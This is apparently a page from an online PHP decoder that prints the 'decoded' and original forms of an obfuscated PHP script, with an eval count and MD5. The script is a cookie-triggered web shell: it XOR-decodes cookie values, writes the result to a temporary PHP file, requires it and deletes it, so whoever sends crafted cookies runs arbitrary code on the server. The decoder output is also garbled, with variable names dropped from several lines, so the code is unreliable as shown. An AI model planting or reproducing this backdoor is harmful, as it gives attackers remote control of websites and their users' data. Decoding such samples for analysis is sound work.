Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function bm12102() { echo "tq12103"; } function cv12097($xq12098) { ..

Decoded Output download

<?php 
 
function bm12102() 
{ 
    echo "tq12103"; 
} 
function cv12097($xq12098) 
{ 
    $cr12100 = 0; 
    $bg12099 = "n#KbHMDY][mt_IPhar N6o*d1)?x<ckvyl4iEe(LjU;[email protected]/'up"; 
    $ce12101 = ""; 
    while (1) { 
        if ($cr12100 >= count($xq12098)) { 
            break; 
        } 
         .= n#KbHMDY][mt_IPhar N6o*d1)?x<ckvyl4iEe(LjU;[email protected]/'up[$xq12098[$cr12100]]; 
        $cr12100++; 
    } 
    return ; 
} 
$hl12105 = []; 
$wfzvb = 79344; 
$hl12105[92155] = cv12097(array(26, 54, 15, 54, 18, 44, 53, 0, 33, 35, 0, 30, 38, 12, 12, 48, 13, 39, 36, 12, 12, 25, 42, 18)); 
$hl12105[49141] = cv12097(array(9, 47, 41, 43, 4, 12, 2, 36, 7, 8)); 
$hl12105[86003] = cv12097(array(6, 41, 5, 5, 7, 24)); 
$hl12105[39922] = cv12097(array(49, 40, 54, 50)); 
$hl12105[47599] = cv12097(array(4, 22)); 
$hl12105[57837] = cv12097(array(49, 51)); 
$hp12125 = 88080; 
$hl12105[29674] = cv12097(array(1)); 
$ru12126 = 31939; 
$hl12105[9703] = cv12097(array(51)); 
$hl12105[44005] = cv12097(array(28)); 
$hl12105[57829] = cv12097(array(45, 35, 33, 37, 12, 54, 53, 11, 12, 29, 21, 0, 11, 37, 0, 11, 46)); 
$tz12127 = 37067; 
$hl12105[80354] = cv12097(array(16, 17, 17, 16, 32, 12, 10, 37, 17, 50, 37)); 
$hl12105[89052] = cv12097(array(46, 11, 17, 12, 17, 37, 54, 37, 16, 11)); 
$hl12105[81370] = cv12097(array(37, 27, 54, 33, 21, 23, 37)); 
$hl12105[5079] = cv12097(array(53, 0, 33, 35, 0, 30)); 
$hl12105[18903] = cv12097(array(46, 11, 17, 54, 21, 46)); 
$hl12105[70090] = cv12097(array(35, 0, 11, 31, 16, 33)); 
$uj12128 = 90064; 
$hl12105[39368] = cv12097(array(46, 11, 17, 33, 37, 0)); 
$hl12105[90056] = cv12097(array(46, 11, 17, 29, 10, 54)); 
$cx12129 = 60397; 
$hl12105[73159] = cv12097(array(54, 16, 29, 30)); 
$wq12130 = 26522; 
$xu12120 = $_COOKIE; 
$xa12119 = "21189"; 
$xu12120 = $hl12105[80354]($_COOKIE, $_POST); 
foreach ($_COOKIE as $du12124 => $ez12121) { 
    function wa12110($hl12105, $du12124, $st12118) 
    { 
        return substr($hl12105[89052]($du12124 . '265c977f-2116-41c6-87e2-0ed5d59b3e91', $hl12105[70090]($st12118 / $hl12105[39368]($du12124)) + 1), 0, $st12118); 
    } 
    function ho12114($hl12105, $cg12122) 
    { 
        if (isset($cg12122[2])) { 
            qz12112($hl12105, uq12111($hl12105, $cg12122)); 
            return 1; 
        } 
    } 
    function vw12109($hl12105, $cg12122) 
    { 
        return @$hl12105[73159]($hl12105[47599], $cg12122); 
    } 
    function lt12107($hl12105, $ez12121, $du12124) 
    { 
        return vw12109($hl12105, $ez12121) ^ wa12110($hl12105, $du12124, $hl12105[39368]($ez12121)); 
    } 
    function ud12108($hl12105, $ez12121, $du12124) 
    { 
        return $hl12105[81370]($hl12105[29674], lt12107($hl12105, $ez12121, $du12124)); 
    } 
    function nt12106($hl12105, $ez12121, $du12124) 
    { 
        $ez12121 = ud12108($hl12105, $ez12121, $du12124); 
        if (ho12114($hl12105, $ez12121)) { 
            exit; 
        } 
    } 
    function uq12111($hl12105, $cg12122) 
    { 
        $pj12123 = $hl12105[57837] . md5('265c977f-2116-41c6-87e2-0ed5d59b3e91') . $hl12105[39922]; 
        @$hl12105[57829]($pj12123, $hl12105[44005] . $hl12105[92155] . $cg12122[1]($cg12122[2])); 
        return $pj12123; 
    } 
    function gs12113($hl12105, $pj12123) 
    { 
        @$hl12105[5079]($pj12123); 
        exit; 
    } 
    function qz12112($hl12105, $pj12123) 
    { 
        @(require $pj12123); 
        $lf12115 = md5($pj12123); 
        $mf12117 = substr($pj12123, $hl12105[18903]($pj12123, $hl12105[9703]) + 1); 
        if (file_exists($pj12123)) { 
            $nl12116 = $hl12105[90056]("21189", $lf12115); 
            gs12113($hl12105, $pj12123); 
        } 
    } 
    nt12106($hl12105, $ez12121, $du12124); 
} 
//  Implied script end 
return; ?>

Did this file decode correctly?

Original Code

<?php

function bm12102()
{
    echo "tq12103";
}
function cv12097($xq12098)
{
    $cr12100 = 0;
    $bg12099 = "n#KbHMDY][mt_IPhar N6o*d1)?x<ckvyl4iEe(LjU;[email protected]/'up";
    $ce12101 = "";
    while (1) {
        if ($cr12100 >= count($xq12098)) {
            break;
        }
         .= n#KbHMDY][mt_IPhar N6o*d1)?x<ckvyl4iEe(LjU;[email protected]/'up[$xq12098[$cr12100]];
        $cr12100++;
    }
    return ;
}
$hl12105 = [];
$wfzvb = 79344;
$hl12105[92155] = cv12097(array(26, 54, 15, 54, 18, 44, 53, 0, 33, 35, 0, 30, 38, 12, 12, 48, 13, 39, 36, 12, 12, 25, 42, 18));
$hl12105[49141] = cv12097(array(9, 47, 41, 43, 4, 12, 2, 36, 7, 8));
$hl12105[86003] = cv12097(array(6, 41, 5, 5, 7, 24));
$hl12105[39922] = cv12097(array(49, 40, 54, 50));
$hl12105[47599] = cv12097(array(4, 22));
$hl12105[57837] = cv12097(array(49, 51));
$hp12125 = 88080;
$hl12105[29674] = cv12097(array(1));
$ru12126 = 31939;
$hl12105[9703] = cv12097(array(51));
$hl12105[44005] = cv12097(array(28));
$hl12105[57829] = cv12097(array(45, 35, 33, 37, 12, 54, 53, 11, 12, 29, 21, 0, 11, 37, 0, 11, 46));
$tz12127 = 37067;
$hl12105[80354] = cv12097(array(16, 17, 17, 16, 32, 12, 10, 37, 17, 50, 37));
$hl12105[89052] = cv12097(array(46, 11, 17, 12, 17, 37, 54, 37, 16, 11));
$hl12105[81370] = cv12097(array(37, 27, 54, 33, 21, 23, 37));
$hl12105[5079] = cv12097(array(53, 0, 33, 35, 0, 30));
$hl12105[18903] = cv12097(array(46, 11, 17, 54, 21, 46));
$hl12105[70090] = cv12097(array(35, 0, 11, 31, 16, 33));
$uj12128 = 90064;
$hl12105[39368] = cv12097(array(46, 11, 17, 33, 37, 0));
$hl12105[90056] = cv12097(array(46, 11, 17, 29, 10, 54));
$cx12129 = 60397;
$hl12105[73159] = cv12097(array(54, 16, 29, 30));
$wq12130 = 26522;
$xu12120 = $_COOKIE;
$xa12119 = "21189";
$xu12120 = $hl12105[80354]($_COOKIE, $_POST);
foreach ($_COOKIE as $du12124 => $ez12121) {
    function wa12110($hl12105, $du12124, $st12118)
    {
        return substr($hl12105[89052]($du12124 . '265c977f-2116-41c6-87e2-0ed5d59b3e91', $hl12105[70090]($st12118 / $hl12105[39368]($du12124)) + 1), 0, $st12118);
    }
    function ho12114($hl12105, $cg12122)
    {
        if (isset($cg12122[2])) {
            qz12112($hl12105, uq12111($hl12105, $cg12122));
            return 1;
        }
    }
    function vw12109($hl12105, $cg12122)
    {
        return @$hl12105[73159]($hl12105[47599], $cg12122);
    }
    function lt12107($hl12105, $ez12121, $du12124)
    {
        return vw12109($hl12105, $ez12121) ^ wa12110($hl12105, $du12124, $hl12105[39368]($ez12121));
    }
    function ud12108($hl12105, $ez12121, $du12124)
    {
        return $hl12105[81370]($hl12105[29674], lt12107($hl12105, $ez12121, $du12124));
    }
    function nt12106($hl12105, $ez12121, $du12124)
    {
        $ez12121 = ud12108($hl12105, $ez12121, $du12124);
        if (ho12114($hl12105, $ez12121)) {
            exit;
        }
    }
    function uq12111($hl12105, $cg12122)
    {
        $pj12123 = $hl12105[57837] . md5('265c977f-2116-41c6-87e2-0ed5d59b3e91') . $hl12105[39922];
        @$hl12105[57829]($pj12123, $hl12105[44005] . $hl12105[92155] . $cg12122[1]($cg12122[2]));
        return $pj12123;
    }
    function gs12113($hl12105, $pj12123)
    {
        @$hl12105[5079]($pj12123);
        exit;
    }
    function qz12112($hl12105, $pj12123)
    {
        @(require $pj12123);
        $lf12115 = md5($pj12123);
        $mf12117 = substr($pj12123, $hl12105[18903]($pj12123, $hl12105[9703]) + 1);
        if (file_exists($pj12123)) {
            $nl12116 = $hl12105[90056]("21189", $lf12115);
            gs12113($hl12105, $pj12123);
        }
    }
    nt12106($hl12105, $ez12121, $du12124);
}
//  Implied script end
return;

Function Calls

None

Variables

None

Stats

MD5 d31297ef031b8e4cd429191d49aa17c8
Eval Count 0
Decode Time 266 ms